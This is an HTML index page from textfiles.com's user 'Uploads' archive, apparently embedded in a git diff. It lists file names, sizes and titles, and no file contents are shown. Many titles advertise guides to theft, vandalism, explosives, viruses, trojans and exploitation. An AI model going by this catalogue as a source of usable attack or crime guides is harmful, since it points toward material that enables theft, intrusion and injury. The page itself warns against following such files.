<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/socialeng.txt">socialeng.txt</A> <tab to=T><TD> 8538<BR><TD> Social Engineering by RaT of SoldierX.com, Blackcode.com, LoTD (April, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/soda_bomb.txt">soda_bomb.txt</A> <tab to=T><TD> 651<BR><TD> A SOda Bomb, by Dizzie
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/sodamach.txt">sodamach.txt</A> <tab to=T><TD> 2874<BR><TD> Vending Machine Hacking for the New Millenium by C0de-kid (July 20, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/sodamachine.txt">sodamachine.txt</A> <tab to=T><TD> 1235<BR><TD> The Free Money Portal by Fruit (Opening Soda Machines for Profit) (July 8, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/sodascam.txt">sodascam.txt</A> <tab to=T><TD> 2047<BR><TD> The Soda Scam, from the Bin of Trash (May 15, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/somekid.txt">somekid.txt</A> <tab to=T><TD> 1500<BR><TD> The Story of Some Kid, by Manny Jordan (January 28, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/somenothing.txt">somenothing.txt</A> <tab to=T><TD> 7606<BR><TD> Getting Something for Nothing, by Pepsi (May 19, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/sonysupport.txt">sonysupport.txt</A> <tab to=T><TD> 1040<BR><TD> Sony Support Phone Numbers, by Acid Pool (December 11, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/sourcecop.txt">sourcecop.txt</A> <tab to=T><TD> 6018<BR><TD> Defeating Sourcecop, by King (2013)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/sphere.txt">sphere.txt</A> <tab to=T><TD> 180144<BR><TD> Lucid Dreaming (A Palimpsest) by Andy Thomas (2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/spy.txt">spy.txt</A> <tab to=T><TD> 11030<BR><TD> Virtual Espionage: A Guide to Doing It and Protecting Yourself From It, by The Mob Boss (December 9, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/squat.txt">squat.txt</A> <tab to=T><TD> 12563<BR><TD> A Guide to Exploring Vacant and Unsecured Buildings by Tim Maschok (2011)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/ssnnew.txt">ssnnew.txt</A> <tab to=T><TD> 9084<BR><TD> The Structure of Social Security Numbers (May 15, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/stacklinux.txt">stacklinux.txt</A> <tab to=T><TD> 13665<BR><TD> Stack Overflow Exploitation Demonstration for Linux by Jeremy Brown (December, 2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/stdmanual.txt">stdmanual.txt</A> <tab to=T><TD> 7048<BR><TD> The STD Manual, by ParanoidXE (April 2, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/stealbook.txt">stealbook.txt</A> <tab to=T><TD> 1708<BR><TD> Stealing Books from a Library, by Icey (July 1, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/stealcable.txt">stealcable.txt</A> <tab to=T><TD> 2956<BR><TD> How to Steal Cable, by Blizzard/One
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/stealthistex">stealthistex</A> <tab to=T><TD> 22518<BR><TD> Steal This Textfile! by Pavement (February 19, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/stealwifi.txt">stealwifi.txt</A> <tab to=T><TD> 2277<BR><TD> Stealing Wifi, by DNMEBOY (April 21, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/stfun00b.txt">stfun00b.txt</A> <tab to=T><TD> 8699<BR><TD> What the Fuck Happened to the Internet? A Rant by Tokachu (June 12, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/stinkbomb.txt">stinkbomb.txt</A> <tab to=T><TD> 7224<BR><TD> The Idiot's Guide on How to Make a Simple, Cheap and Effective Stink Bomb, by K2 (August 20, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/stopmob.txt">stopmob.txt</A> <tab to=T><TD> 4918<BR><TD> Stopping the Mob from Picking On You by Acidous (January 15, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/storyoflife.ans">storyoflife.ans</A> <tab to=T><TD> 9494<BR><TD> The Story of Life, by by Burebista (March 20, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/stripchess.txt">stripchess.txt</A> <tab to=T><TD> 3258<BR><TD> The Official Rules of Strip Chess v1.1, by Ceribia and Keri (June, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/strongpwd.txt">strongpwd.txt</A> <tab to=T><TD> 6043<BR><TD> Creating and Using Strong Passwords, by Less Than Zero (Version 0.1) (December 5, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/studio.txt">studio.txt</A> <tab to=T><TD> 4903<BR><TD> Fart Blossom's Home Studio Tips (February 25, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/studyguide.txt">studyguide.txt</A> <tab to=T><TD> 2459<BR><TD> Making Money at School with Study Guides, by LOD-Black Manta (June 1, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/stungun.txt">stungun.txt</A> <tab to=T><TD> 1988<BR><TD> Introducing the Mini Stun by Remanufacture (July 9, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/supertarget.txt">supertarget.txt</A> <tab to=T><TD> 74029<BR><TD> Stealing SuperTarget: How to Hit the Bullseye, by Xap (November 28, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/sweat.txt">sweat.txt</A> <tab to=T><TD> 2473<BR><TD> How to Sweat: A Guide to Sweating, by Dizzie
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/tags.txt">tags.txt</A> <tab to=T><TD> 7559<BR><TD> Defeating Shoplifting Security Tags, by Oran (June 25, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/tcom_router.txt">tcom_router.txt</A> <tab to=T><TD> 43030<BR><TD> T-COM Linux Router Security: The T-Com Speedport W 500 V, by Anon (January 13, 2009)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/te2000.txt">te2000.txt</A> <tab to=T><TD> 6073<BR><TD> The Amtel 2000 Tele-Entry System by Jenn (2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/teleconferences.txt">teleconferences.txt</A> <tab to=T><TD> 4988<BR><TD> Information on Teleconferences, by Akurei (January 3, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/telemarketers.txt">telemarketers.txt</A> <tab to=T><TD> 2070<BR><TD> Telemarketer Revenge by Dizzie 2000
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/termhack.txt">termhack.txt</A> <tab to=T><TD> 6423<BR><TD> Terminal Hacking Part 1 and Part 2, by OttrE (April 14, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/textfiles.txt">textfiles.txt</A> <tab to=T><TD> 2800<BR><TD> Why Prefer Textfiles? By Jakash3 (January 21, 2010)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/texthello.txt">texthello.txt</A> <tab to=T><TD> 1637<BR><TD> A Copy-Pastable Hello World Program in pure ASCII by Jak Ash (July 20, 2010)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/tfileone.txt">tfileone.txt</A> <tab to=T><TD> 2609<BR><TD> How to Trash a Bitch's Yard, by CyPrUsStOrM (November, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/tflingerie.txt">tflingerie.txt</A> <tab to=T><TD> 755<BR><TD> Toll Free Lingerie Number Listing, by Acid Pool (December 12, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/thandbook.txt">thandbook.txt</A> <tab to=T><TD> 16527<BR><TD> The Thieves' Handbook, by Pepsi (May 19, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/thanx.txt">thanx.txt</A> <tab to=T><TD> 2762<BR><TD> Hey, a Big Thank You From Shadowwolf (June 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/the.antithesis.txt">the.antithesis.txt</A> <tab to=T><TD> 156433<BR><TD> The Antithesis, A Novel by Sam Johnson (April, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/thecipher.txt">thecipher.txt</A> <tab to=T><TD> 4337<BR><TD> The Basic Cipher, by UndeadPhreak (2011)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/thefarmer.txt">thefarmer.txt</A> <tab to=T><TD> 1670<BR><TD> The Farmer, by Hakka (Story) (February 9, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/themexp.txt">themexp.txt</A> <tab to=T><TD> 2252<BR><TD> Cracking ThemeXP Setup Files, by Eminem (November 23, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/thepath.txt">thepath.txt</A> <tab to=T><TD> 15489<BR><TD> Following the True Path to Hacking, by Voya (July 7, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/thiefbook.txt">thiefbook.txt</A> <tab to=T><TD> 5685<BR><TD> How to Be a Successful Thief, by Syko Phreak of the ULA (June 20, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/thievery.txt">thievery.txt</A> <tab to=T><TD> 18156<BR><TD> The Handbook of Thievery v1.0 by Acidous (September 26, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/thievery2.txt">thievery2.txt</A> <tab to=T><TD> 34013<BR><TD> The Handbook of Thievery v2.0 by Acidous (May 24, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/time.txt">time.txt</A> <tab to=T><TD> 2217<BR><TD> Wasting Their Time, by Dizzie
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/timebased.txt">timebased.txt</A> <tab to=T><TD> 529<BR><TD> Hacking Time Based Programs, by Acid Pool (February 14, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/timebeetle.txt">timebeetle.txt</A> <tab to=T><TD> 8321<BR><TD> Time Beetle, by Paul Farah, Recreated by Jim Frost (Circa 1989)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/timeddet.txt">timeddet.txt</A> <tab to=T><TD> 6370<BR><TD> How to Build a Cheap Timed Detonator, by Reuter Canine
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/timetravel.txt">timetravel.txt</A> <tab to=T><TD> 2090<BR><TD> Time Travel, by Acid Pool (February 6, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/tobacco.txt">tobacco.txt</A> <tab to=T><TD> 2771<BR><TD> How to Cure Homegrown Tobacco by J (Anonymous) (January 21, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/toiletblow.txt">toiletblow.txt</A> <tab to=T><TD> 2876<BR><TD> Blowing Up a Toilet by Blizzard/six.blz
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/toiletsupersoaker.txt">toiletsupersoaker.txt</A> <tab to=T><TD> 1860<BR><TD> Toilet Super Soaker, written by Paininvmuthafuckinass (March 5, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/tollfree.txt">tollfree.txt</A> <tab to=T><TD> 1896<BR><TD> A Collection of Toll Free Numbers, from Acid Pool (February 5, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/tonspranks.txt">tonspranks.txt</A> <tab to=T><TD> 3796<BR><TD> COZMIC Presents: Tons-O-Pranks Volume 1 (December 2, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/tontfile.txt">tontfile.txt</A> <tab to=T><TD> 6857<BR><TD> The Stagrific Stagman Synthesis, by Thought and Machine (October 26, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/toolkit.txt">toolkit.txt</A> <tab to=T><TD> 2778<BR><TD> The Anarchist's/Prankster's Toolkit, by Dizzie (1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/tools.txt">tools.txt</A> <tab to=T><TD> 658<BR><TD> Tools and Accessories for Survival and More, by Acid Pool (February 8, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/top_5_japan.txt">top_5_japan.txt</A> <tab to=T><TD> 515<BR><TD> Top 5 Ways the Nuclear Bomb Dropped on Hiroshima Helped Japan, by Dizzie (1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/top_ten_kill.txt">top_ten_kill.txt</A> <tab to=T><TD> 1318<BR><TD> Top Ten Reasons to kill Yourself, by Dizzie (1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/torture.txt">torture.txt</A> <tab to=T><TD> 5005<BR><TD> Household Torture Techniques, by Dizzie (1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/torturestory.txt">torturestory.txt</A> <tab to=T><TD> 11457<BR><TD> Cravings: A Torture Story, by Crescent Omega (February 10, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/toz.txt">toz.txt</A> <tab to=T><TD> 39215<BR><TD> ToZ' Trinkets by Andy Thomas (2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/training.txt">training.txt</A> <tab to=T><TD> 2290<BR><TD> Training Your Army for Anarchy, by Pyromania (October 14, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/trains.txt">trains.txt</A> <tab to=T><TD> 2809<BR><TD> Fun With Trains, by SilenceR (July 31, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/transfer.txt">transfer.txt</A> <tab to=T><TD> 7777<BR><TD> Transfer: A Short Story by Jakash3 (October, 2011)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/trigmath.txt">trigmath.txt</A> <tab to=T><TD> 1361<BR><TD> A Basic Trigonomety Primer, by Navid (November 20, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/tripwireht.txt">tripwireht.txt</A> <tab to=T><TD> 1816<BR><TD> How to Make a Tripwire, by Killa Instinct (March 29, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/trojanports.txt">trojanports.txt</A> <tab to=T><TD> 8044<BR><TD> Trojan Ports Defined, by KGB (June, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/trojans.txt">trojans.txt</A> <tab to=T><TD> 8299<BR><TD> How to Use Trojan Horses, by The Maniac (2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/truth.txt">truth.txt</A> <tab to=T><TD> 4395<BR><TD> The Reason for SoldierX and The Reason for Me, by Portwolf of Portwolf.com (July 31, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/twpyhr001.txt">twpyhr001.txt</A> <tab to=T><TD> 1820<BR><TD> Yet Another Telemarketer Revenge Tactic, by Jennifer Martino (March, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/twpyhr003.txt">twpyhr003.txt</A> <tab to=T><TD> 2413<BR><TD> Cities in Area Code 847 (March 27, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/twpyhr004.txt">twpyhr004.txt</A> <tab to=T><TD> 1105<BR><TD> Cities in Area Code 630 (March 27, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/twpyhr010.txt">twpyhr010.txt</A> <tab to=T><TD> 756<BR><TD> Real Life Hacking: Profitable Punishment, by Jennifer Martino (June 8, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/ufisp.txt">ufisp.txt</A> <tab to=T><TD> 11194<BR><TD> Universal Guide to Free ISP's Via PPP by Amp of SoldierX.com (October, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/ufosurvival.txt">ufosurvival.txt</A> <tab to=T><TD> 3634<BR><TD> UFO Survivalists, by The Dark Dominator (February, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/ugotsrvd.txt">ugotsrvd.txt</A> <tab to=T><TD> 3840<BR><TD> The Inevitable Future of You Got Served, by Tokachu (June 12, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/ukrfspec.txt">ukrfspec.txt</A> <tab to=T><TD> 66004<BR><TD> The Radio Spectrum: UK Allocations, by Meg Hertz (February 24, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/uktv.txt">uktv.txt</A> <tab to=T><TD> 6732<BR><TD> British Television in 1000 Words, by Inkstersco (September 3, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/ulockpen.txt">ulockpen.txt</A> <tab to=T><TD> 884<BR><TD> How to Open Bike Locks with a Bic Pen, by Wyll Dezyn (September, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/unbo.txt">unbo.txt</A> <tab to=T><TD> 4991<BR><TD> How to Un-Install Back Orifice 2000, by Mr. Thrips (June 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/undergroundw.txt">undergroundw.txt</A> <tab to=T><TD> 2381<BR><TD> A Warning to Other Pirates of the Underground, by Khaotic (August, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/underwater.txt">underwater.txt</A> <tab to=T><TD> 19089<BR><TD> Building an Underwater Base, by Acidous (December 25, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/ureach.txt">ureach.txt</A> <tab to=T><TD> 4030<BR><TD> Free Calls with Ureach, by The Mob Boss (December 19, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/vbircclient.txt">vbircclient.txt</A> <tab to=T><TD> 7233<BR><TD> VB IRC Client, by Jackash3 (March 5, 2010)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/vbox.txt">vbox.txt</A> <tab to=T><TD> 17198<BR><TD> Hacking Voice Mail Boxes by ic0n (June 12, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/vending.txt">vending.txt</A> <tab to=T><TD> 3388<BR><TD> How to Rob Vending Machines, by Alex (October 1, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/vending_machine_fun.txt">vending_machine_fun.txt</A> <tab to=T><TD> 1781<BR><TD> Vending Machine Fun, by Dizzie (1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/vendingm.txt">vendingm.txt</A> <tab to=T><TD> 17835<BR><TD> Vending Machines, Payphones and Bill Changers, Compiled by Mustard (April 28, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/verizonconf.txt">verizonconf.txt</A> <tab to=T><TD> 6636<BR><TD> Verizon Teleconferencing, by k00p$sta Phr34k and ic0n (April, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/vernamtut.txt">vernamtut.txt</A> <tab to=T><TD> 10013<BR><TD> A Guide to Vernam OTP Encruption Without a Computer, by Durandal of Soldierx.com (September, 2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/vhscheap.txt">vhscheap.txt</A> <tab to=T><TD> 1920<BR><TD> How to Get VHS Tapes for Cheap, by Kingfisher (July, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/virus_writers.txt">virus_writers.txt</A> <tab to=T><TD> 1433<BR><TD> The 5 Most Common Types of Virus Writers, by Dizzie (1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/virustruth.txt">virustruth.txt</A> <tab to=T><TD> 6807<BR><TD> The Truth About Computer Viruses, by Darren Pierce (April 12, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/vosd.txt">vosd.txt</A> <tab to=T><TD> 35320<BR><TD> Future Viruses and Operating System Devlopment by Nucleii (2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/vote.txt">vote.txt</A> <tab to=T><TD> 5336<BR><TD> About Voting, by The Maniac (November 7, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/wakingup.txt">wakingup.txt</A> <tab to=T><TD> 2086<BR><TD> Waking Up, for Tripe Magazine, by Wzd (September 20, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/wardial.txt">wardial.txt</A> <tab to=T><TD> 5703<BR><TD> A Simple WAR DIALing SALT Script for Telix (Release 1) by Burnin' of UNKNOWN Prez (October 16th, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/warez101.txt">warez101.txt</A> <tab to=T><TD> 2456<BR><TD> Warez 1.0.1 by KGB (June 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/watch_knife.txt">watch_knife.txt</A> <tab to=T><TD> 734<BR><TD> Watch Knife, by Dizzie (1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/watercounter.txt">watercounter.txt</A> <tab to=T><TD> 6824<BR><TD> The Water Counter Bug: How to Get Free Water, by cyberinfo (2010)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/waterfire.txt">waterfire.txt</A> <tab to=T><TD> 744<BR><TD> How to make a Water Bottle Flamethrower, by The Union (February 3, 2007)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/weedshake.txt">weedshake.txt</A> <tab to=T><TD> 1358<BR><TD> The Kozmic Milkshake, by Super (February 22, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/wfp.txt">wfp.txt</A> <tab to=T><TD> 4578<BR><TD> Windows 2000 File Protection Explained, by ParanoidXE (May 16, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/whatanarchyis.txt">whatanarchyis.txt</A> <tab to=T><TD> 2490<BR><TD> What Anarchy Is, by Pyromaniac (January, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/why_edumasses.txt">why_edumasses.txt</A> <tab to=T><TD> 2190<BR><TD> Why Educate the Masses? by Neuro (September 28, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/whydos.txt">whydos.txt</A> <tab to=T><TD> 14627<BR><TD> Why You Should Use DOS (Release 3) by Burnin' of UNKNOWN Prez (October 16th, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/whywehack.txt">whywehack.txt</A> <tab to=T><TD> 2653<BR><TD> Why Do We Hack, by Illusion
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/whywehurt.txt">whywehurt.txt</A> <tab to=T><TD> 4338<BR><TD> Why We Hurt, by Ender (Version 1) (October 15, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/win_trojans.txt">win_trojans.txt</A> <tab to=T><TD> 67910<BR><TD> The Complete Windows Trojans Paper by Dancho Danchev Version 1.0 (October 21, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/winvirus.txt">winvirus.txt</A> <tab to=T><TD> 2015<BR><TD> Windows is a Virus: A Poem, by Boris Grishenko (February 2, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/wirelessb.txt">wirelessb.txt</A> <tab to=T><TD> 4947<BR><TD> Building a Wireless Beige Box, by Captain B (March 25, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/wiretappingfd.txt">wiretappingfd.txt</A> <tab to=T><TD> 6204<BR><TD> Wiretapping for Dummies, by Cracked Anarchist (November 25, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/wonarchive.txt">wonarchive.txt</A> <tab to=T><TD> 79544<BR><TD> The World of Nintendo Log Archive, by Draxamus (July, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/writingtfiles.txt">writingtfiles.txt</A> <tab to=T><TD> 9900<BR><TD> The Guide to Writing Text Files by Paranoidxe (April 22, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/wtfnet.hac">wtfnet.hac</A> <tab to=T><TD> 9908<BR><TD> What the Fuck Series #1: What the Fuck is Network Cable? By Yetzer_Ra (July 4th, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/wz101_newbie.txt">wz101_newbie.txt</A> <tab to=T><TD> 6973<BR><TD> Warez 101 for the Newbie, by Neuro (September 24, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/y2k_top_ten.txt">y2k_top_ten.txt</A> <tab to=T><TD> 1788<BR><TD> Top 10 Good Things about the Y2K Bug, by Dizzie (1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/yaflamethrow.txt">yaflamethrow.txt</A> <tab to=T><TD> 843<BR><TD> Easy Makeshift Flame Thrower, by Strych9 Milksheikh (July 1, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/yahell.txt">yahell.txt</A> <tab to=T><TD> 5990<BR><TD> YAHELL: The Yahoo Trojan Attack Guide, by Zero (December 16, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/yahoocensor.txt">yahoocensor.txt</A> <tab to=T><TD> 1101<BR><TD> How To Beat The Yahoo! ID Censor System by GKiller (June 2, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/yourpctracks.txt">yourpctracks.txt</A> <tab to=T><TD> 8737<BR><TD> Clearing Your Tracks on your PC by The Dark Knight of SoldierX.com (July, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/zippo.txt">zippo.txt</A> <tab to=T><TD> 15696<BR><TD> The Poor Man's OO7 Zippo, by Anarchy 2005 Team (November, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/zoo_fun.txt">zoo_fun.txt</A> <tab to=T><TD> 2833<BR><TD> Fun at the Zoo, by Dizzie (1999)
</TABLE><P><TABLE WIDTH=100%><TR><TD ALIGN=RIGHT><SMALL>There are 683 files for a total of 9,176,894 bytes.</SMALL></TABLE><P>
</BODY>
</HTML>
<P>If you wish to have the entire directory conveniently archived and compressed into one file, please download
either <A HREF="http://archives.textfiles.com/uploads.tar.gz"><B>uploads.tar.gz</B></A> (1847004 bytes) or <A HREF="http://archives.textfiles.com/uploads.zip"><B>uploads.zip</B></A> (2048167 bytes) instead of all the files separately. <P>

661
textfiles.com/uploads/.windex.html Normal file
View File

@@ -0,0 +1,661 @@
<HTML>
<TITLE>T E X T F I L E S</TITLE>
<BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#000000" ALINK="#004400" VLINK="#004400">
<H1>Uploads: Generation TXT</H1>
<P>
While people who read the textfiles.com site might think that the world of g-files and
text-only BBSes is dead and gone, there are actually many people who keep the faith,
having information they want to see spread far and wide, and writing textfiles to get
the word out. While the subjects are newer
and the writing more internet-minded, the themes and forces touched upon in other
files appear here as well, showing that the spirit is alive and thriving.
<P>
When BBSes were the way to get textfiles, you always shot over to the "Uploads" section
to see what people had just added to the system, so you could get it first. That's where
the name of this section comes from. In actuality, if you have a file you've just written
you want to see up here, send mail to <A HREF="mailto:jason@textfiles.com">jason@textfiles.com</A>.
<P>
Note, by the way, that because ALL the new files are being put here, it's a bit of a mish-mash.
Just like the old days!
<P>
<I>As time is going on, people have donated files with the same bad ideas
about drugs, vandalism and the ol' boom-boom; hopefully in a mere homage
to files of old. Don't follow instructions you find in random
textfiles on the internet; it just leads to tears.</I>
<P>
<TABLE WIDTH=100%>
<TD BGCOLOR=#000000><FONT COLOR=#FFFFFF><B>Filename</B><BR></FONT></TD>
<TD BGCOLOR=#002200><FONT COLOR=#FFFFFF><B>Size</B><BR></FONT></TD>
<TD BGCOLOR=#004400><FONT COLOR=#FFFFFF><B>Description of the Textfile</B><BR></TD></TR>
<tab indent=60 id=T><br>
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="001.txt">001.txt</A> <tab to=T><TD> 2873<BR><TD> Oiling, from Pyros The Leprechaun (August 31, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="002.txt">002.txt</A> <tab to=T><TD> 3244<BR><TD> How to Make Smoke Bombs if You Don't Own a Mobile Laboratory, by Pyros The Leprechaun (August 31, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="10trash.txt">10trash.txt</A> <tab to=T><TD> 1713<BR><TD> 10 Ways to Completely Trash Someone's Property, by Mantis (July, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="123vbs.vir">123vbs.vir</A> <tab to=T><TD> 3988<BR><TD> How to Make a VBS (Visual Basic Script) Virus by Sick66 (August 15, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="1killerhigh.txt">1killerhigh.txt</A> <tab to=T><TD> 4788<BR><TD> A California High, by Diabolus (November 27, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="2001.txt">2001.txt</A> <tab to=T><TD> 349098<BR><TD> Soren Greenwood's Conspiracy Theory to Explain all Other Conspiracy Theories (January 10, 2001)
